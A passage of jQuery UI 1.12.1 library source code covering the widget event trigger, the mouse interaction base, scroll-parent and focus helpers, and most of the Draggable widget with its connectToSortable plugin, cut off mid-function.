"ui-state-focus" );
}
} );
},
_trigger: function( type, event, data ) {
var prop, orig;
var callback = this.options[ type ];
data = data || {};
event = $.Event( event );
event.type = ( type === this.widgetEventPrefix ?
type :
this.widgetEventPrefix + type ).toLowerCase();
// The original event may come from any element
// so we need to reset the target on the new event
event.target = this.element[ 0 ];
// Copy original event properties over to the new event
orig = event.originalEvent;
if ( orig ) {
for ( prop in orig ) {
if ( !( prop in event ) ) {
event[ prop ] = orig[ prop ];
}
}
}
this.element.trigger( event, data );
return !( $.isFunction( callback ) &&
callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false
||
event.isDefaultPrevented() );
}
};
$.each( { show: "fadeIn", hide: "fadeOut" }, function(
method, defaultEffect ) {
$.Widget.prototype[ "_" + method ] = function( element, options,
callback ) {
if ( typeof options === "string" ) {
options = { effect: options };
}
var hasOptions;
var effectName = !options ?
method :
options === true || typeof options === "number" ?
defaultEffect :
options.effect || defaultEffect;
options = options || {};
if ( typeof options === "number" ) {
options = { duration: options };
}
hasOptions = !$.isEmptyObject( options );
options.complete = callback;
if ( options.delay ) {
element.delay( options.delay );
}
if ( hasOptions && $.effects && $.effects.effect[
effectName ] ) {
element[ method ]( options );
} else if ( effectName !== method && element[ effectName ] ) {
element[ effectName ]( options.duration, options.easing, callback );
} else {
element.queue( function( next ) {
$( this )[ method ]();
if ( callback ) {
callback.call( element[ 0 ] );
}
next();
} );
}
};
} );
var widget = $.widget;
/*!
* jQuery UI :data 1.12.1
* http://jqueryui.com
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*/
//>>label: :data Selector
//>>group: Core
//>>description: Selects elements which have data stored under the
specified key.
//>>docs: http://api.jqueryui.com/data-selector/
var data = $.extend( $.expr[ ":" ], {
data: $.expr.createPseudo ?
$.expr.createPseudo( function( dataName ) {
return function( elem ) {
return !!$.data( elem, dataName );
};
} ) :
// Support: jQuery <1.8
function( elem, i, match ) {
return !!$.data( elem, match[ 3 ] );
}
} );
/*!
* jQuery UI Scroll Parent 1.12.1
* http://jqueryui.com
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*/
//>>label: scrollParent
//>>group: Core
//>>description: Get the closest ancestor element that is scrollable.
//>>docs: http://api.jqueryui.com/scrollParent/
var scrollParent = $.fn.scrollParent = function( includeHidden ) {
var position = this.css( "position" ),
excludeStaticParent = position === "absolute",
overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
scrollParent = this.parents().filter( function() {
var parent = $( this );
if ( excludeStaticParent && parent.css( "position" )
=== "static" ) {
return false;
}
return overflowRegex.test( parent.css( "overflow" ) +
parent.css( "overflow-y" ) +
parent.css( "overflow-x" ) );
} ).eq( 0 );
return position === "fixed" || !scrollParent.length ?
$( this[ 0 ].ownerDocument || document ) :
scrollParent;
};
// This file is deprecated
var ie = $.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase()
);
/*!
* jQuery UI Mouse 1.12.1
* http://jqueryui.com
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*/
//>>label: Mouse
//>>group: Widgets
//>>description: Abstracts mouse-based interactions to assist in
creating certain widgets.
//>>docs: http://api.jqueryui.com/mouse/
var mouseHandled = false;
$( document ).on( "mouseup", function() {
mouseHandled = false;
} );
var widgetsMouse = $.widget( "ui.mouse", {
version: "1.12.1",
options: {
cancel: "input, textarea, button, select, option",
distance: 1,
delay: 0
},
_mouseInit: function() {
var that = this;
this.element
.on( "mousedown." + this.widgetName, function( event ) {
return that._mouseDown( event );
} )
.on( "click." + this.widgetName, function( event ) {
if ( true === $.data( event.target, that.widgetName +
".preventClickEvent" ) ) {
$.removeData( event.target, that.widgetName +
".preventClickEvent" );
event.stopImmediatePropagation();
return false;
}
} );
this.started = false;
},
// TODO: make sure destroying one instance of mouse doesn't mess with
// other instances of mouse
_mouseDestroy: function() {
this.element.off( "." + this.widgetName );
if ( this._mouseMoveDelegate ) {
this.document
.off( "mousemove." + this.widgetName, this._mouseMoveDelegate
)
.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
}
},
_mouseDown: function( event ) {
// don't let more than one widget handle mouseStart
if ( mouseHandled ) {
return;
}
this._mouseMoved = false;
// We may have missed mouseup (out of window)
( this._mouseStarted && this._mouseUp( event ) );
this._mouseDownEvent = event;
var that = this,
btnIsLeft = ( event.which === 1 ),
// event.target.nodeName works around a bug in IE 8 with
// disabled inputs (#7620)
elIsCancel = ( typeof this.options.cancel === "string"
&& event.target.nodeName ?
$( event.target ).closest( this.options.cancel ).length : false );
if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) {
return true;
}
this.mouseDelayMet = !this.options.delay;
if ( !this.mouseDelayMet ) {
this._mouseDelayTimer = setTimeout( function() {
that.mouseDelayMet = true;
}, this.options.delay );
}
if ( this._mouseDistanceMet( event ) && this._mouseDelayMet(
event ) ) {
this._mouseStarted = ( this._mouseStart( event ) !== false );
if ( !this._mouseStarted ) {
event.preventDefault();
return true;
}
}
// Click event may never have fired (Gecko & Opera)
if ( true === $.data( event.target, this.widgetName +
".preventClickEvent" ) ) {
$.removeData( event.target, this.widgetName +
".preventClickEvent" );
}
// These delegates are required to keep context
this._mouseMoveDelegate = function( event ) {
return that._mouseMove( event );
};
this._mouseUpDelegate = function( event ) {
return that._mouseUp( event );
};
this.document
.on( "mousemove." + this.widgetName, this._mouseMoveDelegate )
.on( "mouseup." + this.widgetName, this._mouseUpDelegate );
event.preventDefault();
mouseHandled = true;
return true;
},
_mouseMove: function( event ) {
// Only check for mouseups outside the document if you've moved
inside the document
// at least once. This prevents the firing of mouseup in the case of
IE<9, which will
// fire a mousemove event if content is placed under the cursor. See
#7778
// Support: IE <9
if ( this._mouseMoved ) {
// IE mouseup check - mouseup happened when mouse was out of window
if ( $.ui.ie && ( !document.documentMode ||
document.documentMode < 9 ) &&
!event.button ) {
return this._mouseUp( event );
// Iframe mouseup check - mouseup occurred in another document
} else if ( !event.which ) {
// Support: Safari <=8 - 9
// Safari sets which to 0 if you press any of the following keys
// during a drag (#14461)
if ( event.originalEvent.altKey || event.originalEvent.ctrlKey ||
event.originalEvent.metaKey || event.originalEvent.shiftKey ) {
this.ignoreMissingWhich = true;
} else if ( !this.ignoreMissingWhich ) {
return this._mouseUp( event );
}
}
}
if ( event.which || event.button ) {
this._mouseMoved = true;
}
if ( this._mouseStarted ) {
this._mouseDrag( event );
return event.preventDefault();
}
if ( this._mouseDistanceMet( event ) && this._mouseDelayMet(
event ) ) {
this._mouseStarted =
( this._mouseStart( this._mouseDownEvent, event ) !== false );
( this._mouseStarted ? this._mouseDrag( event ) : this._mouseUp( event )
);
}
return !this._mouseStarted;
},
_mouseUp: function( event ) {
this.document
.off( "mousemove." + this.widgetName, this._mouseMoveDelegate
)
.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
if ( this._mouseStarted ) {
this._mouseStarted = false;
if ( event.target === this._mouseDownEvent.target ) {
$.data( event.target, this.widgetName + ".preventClickEvent",
true );
}
this._mouseStop( event );
}
if ( this._mouseDelayTimer ) {
clearTimeout( this._mouseDelayTimer );
delete this._mouseDelayTimer;
}
this.ignoreMissingWhich = false;
mouseHandled = false;
event.preventDefault();
},
_mouseDistanceMet: function( event ) {
return ( Math.max(
Math.abs( this._mouseDownEvent.pageX - event.pageX ),
Math.abs( this._mouseDownEvent.pageY - event.pageY )
) >= this.options.distance
);
},
_mouseDelayMet: function( /* event */ ) {
return this.mouseDelayMet;
},
// These are placeholder methods, to be overriden by extending plugin
_mouseStart: function( /* event */ ) {},
_mouseDrag: function( /* event */ ) {},
_mouseStop: function( /* event */ ) {},
_mouseCapture: function( /* event */ ) { return true; }
} );
// $.ui.plugin is deprecated. Use $.widget() extensions instead.
var plugin = $.ui.plugin = {
add: function( module, option, set ) {
var i,
proto = $.ui[ module ].prototype;
for ( i in set ) {
proto.plugins[ i ] = proto.plugins[ i ] || [];
proto.plugins[ i ].push( [ option, set[ i ] ] );
}
},
call: function( instance, name, args, allowDisconnected ) {
var i,
set = instance.plugins[ name ];
if ( !set ) {
return;
}
if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode ||
instance.element[ 0 ].parentNode.nodeType === 11 ) ) {
return;
}
for ( i = 0; i < set.length; i++ ) {
if ( instance.options[ set[ i ][ 0 ] ] ) {
set[ i ][ 1 ].apply( instance.element, args );
}
}
}
};
var safeActiveElement = $.ui.safeActiveElement = function( document ) {
var activeElement;
// Support: IE 9 only
// IE9 throws an "Unspecified error" accessing
document.activeElement from an <iframe>
try {
activeElement = document.activeElement;
} catch ( error ) {
activeElement = document.body;
}
// Support: IE 9 - 11 only
// IE may return null instead of an element
// Interestingly, this only seems to occur when NOT in an iframe
if ( !activeElement ) {
activeElement = document.body;
}
// Support: IE 11 only
// IE11 returns a seemingly empty object in some cases when accessing
// document.activeElement from an <iframe>
if ( !activeElement.nodeName ) {
activeElement = document.body;
}
return activeElement;
};
var safeBlur = $.ui.safeBlur = function( element ) {
// Support: IE9 - 10 only
// If the <body> is blurred, IE will switch windows, see #9420
if ( element && element.nodeName.toLowerCase() !==
"body" ) {
$( element ).trigger( "blur" );
}
};
/*!
* jQuery UI Draggable 1.12.1
* http://jqueryui.com
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*/
//>>label: Draggable
//>>group: Interactions
//>>description: Enables dragging functionality for any element.
//>>docs: http://api.jqueryui.com/draggable/
//>>demos: http://jqueryui.com/draggable/
//>>css.structure: ../../themes/base/draggable.css
$.widget( "ui.draggable", $.ui.mouse, {
version: "1.12.1",
widgetEventPrefix: "drag",
options: {
addClasses: true,
appendTo: "parent",
axis: false,
connectToSortable: false,
containment: false,
cursor: "auto",
cursorAt: false,
grid: false,
handle: false,
helper: "original",
iframeFix: false,
opacity: false,
refreshPositions: false,
revert: false,
revertDuration: 500,
scope: "default",
scroll: true,
scrollSensitivity: 20,
scrollSpeed: 20,
snap: false,
snapMode: "both",
snapTolerance: 20,
stack: false,
zIndex: false,
// Callbacks
drag: null,
start: null,
stop: null
},
_create: function() {
if ( this.options.helper === "original" ) {
this._setPositionRelative();
}
if ( this.options.addClasses ) {
this._addClass( "ui-draggable" );
}
this._setHandleClassName();
this._mouseInit();
},
_setOption: function( key, value ) {
this._super( key, value );
if ( key === "handle" ) {
this._removeHandleClassName();
this._setHandleClassName();
}
},
_destroy: function() {
if ( ( this.helper || this.element ).is(
".ui-draggable-dragging" ) ) {
this.destroyOnClear = true;
return;
}
this._removeHandleClassName();
this._mouseDestroy();
},
_mouseCapture: function( event ) {
var o = this.options;
// Among others, prevent a drag on a resizable-handle
if ( this.helper || o.disabled ||
$( event.target ).closest( ".ui-resizable-handle" ).length
> 0 ) {
return false;
}
//Quit if we're not on a valid handle
this.handle = this._getHandle( event );
if ( !this.handle ) {
return false;
}
this._blurActiveElement( event );
this._blockFrames( o.iframeFix === true ? "iframe" :
o.iframeFix );
return true;
},
_blockFrames: function( selector ) {
this.iframeBlocks = this.document.find( selector ).map( function() {
var iframe = $( this );
return $( "<div>" )
.css( "position", "absolute" )
.appendTo( iframe.parent() )
.outerWidth( iframe.outerWidth() )
.outerHeight( iframe.outerHeight() )
.offset( iframe.offset() )[ 0 ];
} );
},
_unblockFrames: function() {
if ( this.iframeBlocks ) {
this.iframeBlocks.remove();
delete this.iframeBlocks;
}
},
_blurActiveElement: function( event ) {
var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
target = $( event.target );
// Don't blur if the event occurred on an element that is within
// the currently focused element
// See #10527, #12472
if ( target.closest( activeElement ).length ) {
return;
}
// Blur any element that currently has focus, see #4261
$.ui.safeBlur( activeElement );
},
_mouseStart: function( event ) {
var o = this.options;
//Create and append the visible helper
this.helper = this._createHelper( event );
this._addClass( this.helper, "ui-draggable-dragging" );
//Cache the helper size
this._cacheHelperProportions();
//If ddmanager is used for droppables, set the global draggable
if ( $.ui.ddmanager ) {
$.ui.ddmanager.current = this;
}
/*
* - Position generation -
* This block generates everything position related - it's the core
of draggables.
*/
//Cache the margins of the original element
this._cacheMargins();
//Store the helper's css position
this.cssPosition = this.helper.css( "position" );
this.scrollParent = this.helper.scrollParent( true );
this.offsetParent = this.helper.offsetParent();
this.hasFixedAncestor = this.helper.parents().filter( function() {
return $( this ).css( "position" ) === "fixed";
} ).length > 0;
//The element's absolute position on the page minus margins
this.positionAbs = this.element.offset();
this._refreshOffsets( event );
//Generate the original position
this.originalPosition = this.position = this._generatePosition( event,
false );
this.originalPageX = event.pageX;
this.originalPageY = event.pageY;
//Adjust the mouse offset relative to the helper if "cursorAt"
is supplied
( o.cursorAt && this._adjustOffsetFromHelper( o.cursorAt ) );
//Set a containment if given in the options
this._setContainment();
//Trigger event + callbacks
if ( this._trigger( "start", event ) === false ) {
this._clear();
return false;
}
//Recache the helper size
this._cacheHelperProportions();
//Prepare the droppable offsets
if ( $.ui.ddmanager && !o.dropBehaviour ) {
$.ui.ddmanager.prepareOffsets( this, event );
}
// Execute the drag once - this causes the helper not to be visible
before getting its
// correct position
this._mouseDrag( event, true );
// If the ddmanager is used for droppables, inform the manager that
dragging has started
// (see #5003)
if ( $.ui.ddmanager ) {
$.ui.ddmanager.dragStart( this, event );
}
return true;
},
_refreshOffsets: function( event ) {
this.offset = {
top: this.positionAbs.top - this.margins.top,
left: this.positionAbs.left - this.margins.left,
scroll: false,
parent: this._getParentOffset(),
relative: this._getRelativeOffset()
};
this.offset.click = {
left: event.pageX - this.offset.left,
top: event.pageY - this.offset.top
};
},
_mouseDrag: function( event, noPropagation ) {
// reset any necessary cached properties (see #5009)
if ( this.hasFixedAncestor ) {
this.offset.parent = this._getParentOffset();
}
//Compute the helpers position
this.position = this._generatePosition( event, true );
this.positionAbs = this._convertPositionTo( "absolute" );
//Call plugins and callbacks and use the resulting position if something
is returned
if ( !noPropagation ) {
var ui = this._uiHash();
if ( this._trigger( "drag", event, ui ) === false ) {
this._mouseUp( new $.Event( "mouseup", event ) );
return false;
}
this.position = ui.position;
}
this.helper[ 0 ].style.left = this.position.left + "px";
this.helper[ 0 ].style.top = this.position.top + "px";
if ( $.ui.ddmanager ) {
$.ui.ddmanager.drag( this, event );
}
return false;
},
_mouseStop: function( event ) {
//If we are using droppables, inform the manager about the drop
var that = this,
dropped = false;
if ( $.ui.ddmanager && !this.options.dropBehaviour ) {
dropped = $.ui.ddmanager.drop( this, event );
}
//if a drop comes from outside (a sortable)
if ( this.dropped ) {
dropped = this.dropped;
this.dropped = false;
}
if ( ( this.options.revert === "invalid" && !dropped )
||
( this.options.revert === "valid" && dropped ) ||
this.options.revert === true || ( $.isFunction( this.options.revert )
&&
this.options.revert.call( this.element, dropped ) )
) {
$( this.helper ).animate(
this.originalPosition,
parseInt( this.options.revertDuration, 10 ),
function() {
if ( that._trigger( "stop", event ) !== false ) {
that._clear();
}
}
);
} else {
if ( this._trigger( "stop", event ) !== false ) {
this._clear();
}
}
return false;
},
_mouseUp: function( event ) {
this._unblockFrames();
// If the ddmanager is used for droppables, inform the manager that
dragging has stopped
// (see #5003)
if ( $.ui.ddmanager ) {
$.ui.ddmanager.dragStop( this, event );
}
// Only need to focus if the event occurred on the draggable itself, see
#10527
if ( this.handleElement.is( event.target ) ) {
// The interaction is over; whether or not the click resulted in a drag,
// focus the element
this.element.trigger( "focus" );
}
return $.ui.mouse.prototype._mouseUp.call( this, event );
},
cancel: function() {
if ( this.helper.is( ".ui-draggable-dragging" ) ) {
this._mouseUp( new $.Event( "mouseup", { target: this.element[
0 ] } ) );
} else {
this._clear();
}
return this;
},
_getHandle: function( event ) {
return this.options.handle ?
!!$( event.target ).closest( this.element.find( this.options.handle )
).length :
true;
},
_setHandleClassName: function() {
this.handleElement = this.options.handle ?
this.element.find( this.options.handle ) : this.element;
this._addClass( this.handleElement, "ui-draggable-handle" );
},
_removeHandleClassName: function() {
this._removeClass( this.handleElement, "ui-draggable-handle" );
},
_createHelper: function( event ) {
var o = this.options,
helperIsFunction = $.isFunction( o.helper ),
helper = helperIsFunction ?
$( o.helper.apply( this.element[ 0 ], [ event ] ) ) :
( o.helper === "clone" ?
this.element.clone().removeAttr( "id" ) :
this.element );
if ( !helper.parents( "body" ).length ) {
helper.appendTo( ( o.appendTo === "parent" ?
this.element[ 0 ].parentNode :
o.appendTo ) );
}
// Http://bugs.jqueryui.com/ticket/9446
// a helper function can return the original element
// which wouldn't have been set to relative in _create
if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) {
this._setPositionRelative();
}
if ( helper[ 0 ] !== this.element[ 0 ] &&
!( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) {
helper.css( "position", "absolute" );
}
return helper;
},
_setPositionRelative: function() {
if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) )
{
this.element[ 0 ].style.position = "relative";
}
},
_adjustOffsetFromHelper: function( obj ) {
if ( typeof obj === "string" ) {
obj = obj.split( " " );
}
if ( $.isArray( obj ) ) {
obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 };
}
if ( "left" in obj ) {
this.offset.click.left = obj.left + this.margins.left;
}
if ( "right" in obj ) {
this.offset.click.left = this.helperProportions.width - obj.right +
this.margins.left;
}
if ( "top" in obj ) {
this.offset.click.top = obj.top + this.margins.top;
}
if ( "bottom" in obj ) {
this.offset.click.top = this.helperProportions.height - obj.bottom +
this.margins.top;
}
},
_isRootNode: function( element ) {
return ( /(html|body)/i ).test( element.tagName ) || element ===
this.document[ 0 ];
},
_getParentOffset: function() {
//Get the offsetParent and cache its position
var po = this.offsetParent.offset(),
document = this.document[ 0 ];
// This is a special case where we need to modify a offset calculated on
start, since the
// following happened:
// 1. The position of the helper is absolute, so it's position is
calculated based on the
// next positioned parent
// 2. The actual offset parent is a child of the scroll parent, and the
scroll parent isn't
// the document, which means that the scroll is included in the initial
calculation of the
// offset of the parent, and never recalculated upon drag
if ( this.cssPosition === "absolute" &&
this.scrollParent[ 0 ] !== document &&
$.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) {
po.left += this.scrollParent.scrollLeft();
po.top += this.scrollParent.scrollTop();
}
if ( this._isRootNode( this.offsetParent[ 0 ] ) ) {
po = { top: 0, left: 0 };
}
return {
top: po.top + ( parseInt( this.offsetParent.css(
"borderTopWidth" ), 10 ) || 0 ),
left: po.left + ( parseInt( this.offsetParent.css(
"borderLeftWidth" ), 10 ) || 0 )
};
},
_getRelativeOffset: function() {
if ( this.cssPosition !== "relative" ) {
return { top: 0, left: 0 };
}
var p = this.element.position(),
scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
return {
top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 )
+
( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ),
left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) ||
0 ) +
( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 )
};
},
_cacheMargins: function() {
this.margins = {
left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0
),
top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ),
right: ( parseInt( this.element.css( "marginRight" ), 10 ) ||
0 ),
bottom: ( parseInt( this.element.css( "marginBottom" ), 10 )
|| 0 )
};
},
_cacheHelperProportions: function() {
this.helperProportions = {
width: this.helper.outerWidth(),
height: this.helper.outerHeight()
};
},
_setContainment: function() {
var isUserScrollable, c, ce,
o = this.options,
document = this.document[ 0 ];
this.relativeContainer = null;
if ( !o.containment ) {
this.containment = null;
return;
}
if ( o.containment === "window" ) {
this.containment = [
$( window ).scrollLeft() - this.offset.relative.left -
this.offset.parent.left,
$( window ).scrollTop() - this.offset.relative.top -
this.offset.parent.top,
$( window ).scrollLeft() + $( window ).width() -
this.helperProportions.width - this.margins.left,
$( window ).scrollTop() +
( $( window ).height() || document.body.parentNode.scrollHeight ) -
this.helperProportions.height - this.margins.top
];
return;
}
if ( o.containment === "document" ) {
this.containment = [
0,
0,
$( document ).width() - this.helperProportions.width -
this.margins.left,
( $( document ).height() || document.body.parentNode.scrollHeight ) -
this.helperProportions.height - this.margins.top
];
return;
}
if ( o.containment.constructor === Array ) {
this.containment = o.containment;
return;
}
if ( o.containment === "parent" ) {
o.containment = this.helper[ 0 ].parentNode;
}
c = $( o.containment );
ce = c[ 0 ];
if ( !ce ) {
return;
}
isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) );
this.containment = [
( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) +
( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ),
( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) +
( parseInt( c.css( "paddingTop" ), 10 ) || 0 ),
( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) :
ce.offsetWidth ) -
( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) -
( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) -
this.helperProportions.width -
this.margins.left -
this.margins.right,
( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) :
ce.offsetHeight ) -
( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) -
( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) -
this.helperProportions.height -
this.margins.top -
this.margins.bottom
];
this.relativeContainer = c;
},
_convertPositionTo: function( d, pos ) {
if ( !pos ) {
pos = this.position;
}
var mod = d === "absolute" ? 1 : -1,
scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
return {
top: (
// The absolute mouse position
pos.top +
// Only for relative positioned nodes: Relative offset from element to
offset parent
this.offset.relative.top * mod +
// The offsetParent's offset without borders (offset + border)
this.offset.parent.top * mod -
( ( this.cssPosition === "fixed" ?
-this.offset.scroll.top :
( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod )
),
left: (
// The absolute mouse position
pos.left +
// Only for relative positioned nodes: Relative offset from element to
offset parent
this.offset.relative.left * mod +
// The offsetParent's offset without borders (offset + border)
this.offset.parent.left * mod -
( ( this.cssPosition === "fixed" ?
-this.offset.scroll.left :
( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod )
)
};
},
_generatePosition: function( event, constrainPosition ) {
var containment, co, top, left,
o = this.options,
scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ),
pageX = event.pageX,
pageY = event.pageY;
// Cache the scroll
if ( !scrollIsRootNode || !this.offset.scroll ) {
this.offset.scroll = {
top: this.scrollParent.scrollTop(),
left: this.scrollParent.scrollLeft()
};
}
/*
* - Position constraining -
* Constrain the position to a mix of grid, containment.
*/
// If we are not dragging yet, we won't check for options
if ( constrainPosition ) {
if ( this.containment ) {
if ( this.relativeContainer ) {
co = this.relativeContainer.offset();
containment = [
this.containment[ 0 ] + co.left,
this.containment[ 1 ] + co.top,
this.containment[ 2 ] + co.left,
this.containment[ 3 ] + co.top
];
} else {
containment = this.containment;
}
if ( event.pageX - this.offset.click.left < containment[ 0 ] ) {
pageX = containment[ 0 ] + this.offset.click.left;
}
if ( event.pageY - this.offset.click.top < containment[ 1 ] ) {
pageY = containment[ 1 ] + this.offset.click.top;
}
if ( event.pageX - this.offset.click.left > containment[ 2 ] ) {
pageX = containment[ 2 ] + this.offset.click.left;
}
if ( event.pageY - this.offset.click.top > containment[ 3 ] ) {
pageY = containment[ 3 ] + this.offset.click.top;
}
}
if ( o.grid ) {
//Check for grid elements set to 0 to prevent divide by 0 error causing
invalid
// argument errors in IE (see ticket #6950)
top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY -
this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] :
this.originalPageY;
pageY = containment ? ( ( top - this.offset.click.top >=
containment[ 1 ] ||
top - this.offset.click.top > containment[ 3 ] ) ?
top :
( ( top - this.offset.click.top >= containment[ 1 ] ) ?
top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top;
left = o.grid[ 0 ] ? this.originalPageX +
Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0
] :
this.originalPageX;
pageX = containment ? ( ( left - this.offset.click.left >=
containment[ 0 ] ||
left - this.offset.click.left > containment[ 2 ] ) ?
left :
( ( left - this.offset.click.left >= containment[ 0 ] ) ?
left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left;
}
if ( o.axis === "y" ) {
pageX = this.originalPageX;
}
if ( o.axis === "x" ) {
pageY = this.originalPageY;
}
}
return {
top: (
// The absolute mouse position
pageY -
// Click offset (relative to the element)
this.offset.click.top -
// Only for relative positioned nodes: Relative offset from element to
offset parent
this.offset.relative.top -
// The offsetParent's offset without borders (offset + border)
this.offset.parent.top +
( this.cssPosition === "fixed" ?
-this.offset.scroll.top :
( scrollIsRootNode ? 0 : this.offset.scroll.top ) )
),
left: (
// The absolute mouse position
pageX -
// Click offset (relative to the element)
this.offset.click.left -
// Only for relative positioned nodes: Relative offset from element to
offset parent
this.offset.relative.left -
// The offsetParent's offset without borders (offset + border)
this.offset.parent.left +
( this.cssPosition === "fixed" ?
-this.offset.scroll.left :
( scrollIsRootNode ? 0 : this.offset.scroll.left ) )
)
};
},
_clear: function() {
this._removeClass( this.helper, "ui-draggable-dragging" );
if ( this.helper[ 0 ] !== this.element[ 0 ] &&
!this.cancelHelperRemoval ) {
this.helper.remove();
}
this.helper = null;
this.cancelHelperRemoval = false;
if ( this.destroyOnClear ) {
this.destroy();
}
},
// From now on bulk stuff - mainly helpers
_trigger: function( type, event, ui ) {
ui = ui || this._uiHash();
$.ui.plugin.call( this, type, [ event, ui, this ], true );
// Absolute position and offset (see #6884 ) have to be recalculated
after plugins
if ( /^(drag|start|stop)/.test( type ) ) {
this.positionAbs = this._convertPositionTo( "absolute" );
ui.offset = this.positionAbs;
}
return $.Widget.prototype._trigger.call( this, type, event, ui );
},
plugins: {},
_uiHash: function() {
return {
helper: this.helper,
position: this.position,
originalPosition: this.originalPosition,
offset: this.positionAbs
};
}
} );
$.ui.plugin.add( "draggable", "connectToSortable", {
start: function( event, ui, draggable ) {
var uiSortable = $.extend( {}, ui, {
item: draggable.element
} );
draggable.sortables = [];
$( draggable.options.connectToSortable ).each( function() {
var sortable = $( this ).sortable( "instance" );
if ( sortable && !sortable.options.disabled ) {
draggable.sortables.push( sortable );
// RefreshPositions is called at drag start to refresh the
containerCache
// which is used in drag. This ensures it's initialized and
synchronized
// with any changes that might have happened on the page since
initialization.
sortable.refreshPositions();
sortable._trigger( "activate", event, uiSortable );
}
} );
},
stop: function( event, ui, draggable ) {
var uiSortable = $.extend( {}, ui, {
item: draggable.element
} );
draggable.cancelHelperRemoval = false;
$.each( draggable.sortables, function() {
var sortable = this;
if ( sortable.isOver ) {
sortable.isOver = 0;
// Allow this sortable to handle removing the helper
draggable.cancelHelperRemoval = true;
sortable.cancelHelperRemoval = false;
// Use _storedCSS To restore properties in the sortable,
// as this also handles revert (#9675) since the draggable
// may have modified them in unexpected ways (#8809)
sortable._storedCSS = {
position: sortable.placeholder.css( "position" ),
top: sortable.placeholder.css( "top" ),
left: sortable.placeholder.css( "left" )
};
sortable._mouseStop( event );
// Once drag has ended, the sortable should return to using
// its original helper, not the shared helper from draggable
sortable.options.helper = sortable.options._helper;
} else {
// Prevent this Sortable from removing the helper.
// However, don't set the draggable to remove the helper
// either as another connected Sortable may yet handle the removal.
sortable.cancelHelperRemoval = true;
sortable._trigger( "deactivate", event, uiSortable );
}
} );
},
drag: function( event, ui, draggable ) {
$.each( draggable.sortables, function() {
var innermostIntersecting = false,
sortable = this;
// Copy over variables that sortable's _intersectsWith uses
sortable.positionAbs = draggable.positionAbs;
sortable.helperProportions = draggable.helperProportions;
sortable.offset.click = draggable.offset.click;
if ( sortable._intersectsWith( sortable.containerCache ) ) {
innermostIntersecting = true;
$.each( draggable.sortables, function() {
// Copy over variables that sortable's _intersectsWith uses
this.positionAbs = draggable.positionAbs;
this.helperProportions = draggable.helperProportions;
this.offset.click = draggable.offset.click;
if ( this !== sortable &&
this._intersectsWith( this.containerCache ) &&
$.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) {
innermostIntersecting = false;
}
return innermostIntersecting;
} );
}
if ( innermostIntersecting ) {
// If it intersects, we use a little isOver variable and set it once,
// so that the move-in stuff gets fired only once.
if ( !sortable.isOver ) {
sortable.isOver = 1;
// Store draggable's parent in case we need to reappend to it
later.
draggable._parent = ui.helper.parent();
sortable.currentItem = ui.helper
.appendTo( sortable.element )
.data( "ui-sortable-item", true );
// Store helper option to later restore it
sortable.options._helper = sortable.options.helper;
sortable.options.helper = function() {
return ui.helper[ 0 ];
};
// Fire the start events of the sortable with our passed browser
event,
// and our own helper (so it doesn't create a new one)
event.target = sortable.currentItem[ 0 ];
sortable._mouseCapture( event, true );
sortable._mouseStart( event, true, true );
// Because the browser event is way off the new appended portlet,
// modify necessary variables to reflect the changes
sortable.offset.click.top = draggable.offset.click.top;
sortable.offset.click.left = draggable.offset.click.left;
sortable.offset.parent.left -= draggable.offset.parent.left -
sortable.offset.parent.left;
sortable.offset.parent.top -= draggable.offset.parent.top -
sortable.offset.parent.top;
draggable._trigger( "toSortable", event );
// Inform draggable that the helper is in a valid drop zone,
// used solely in the revert option to handle
"valid/invalid".
draggable.dropped = sortable.element;
// Need to refreshPositions of all sortables in the case that
// adding to one sortable changes the location of the other sortables
(#9675)
$.each( draggable.sortables, function() {
this.refreshPositions();
} );
// Hack so receive/update callbacks work (mostly)
draggable.currentItem = draggable.element;
sortable.fromOutside = draggable;
}
if ( sortable.currentItem ) {
sortable._mouseDrag( event );
// Copy the sortable's position because the draggable's can
potentially reflect
// a relative position, while sortable is always absolute, which the
dragged
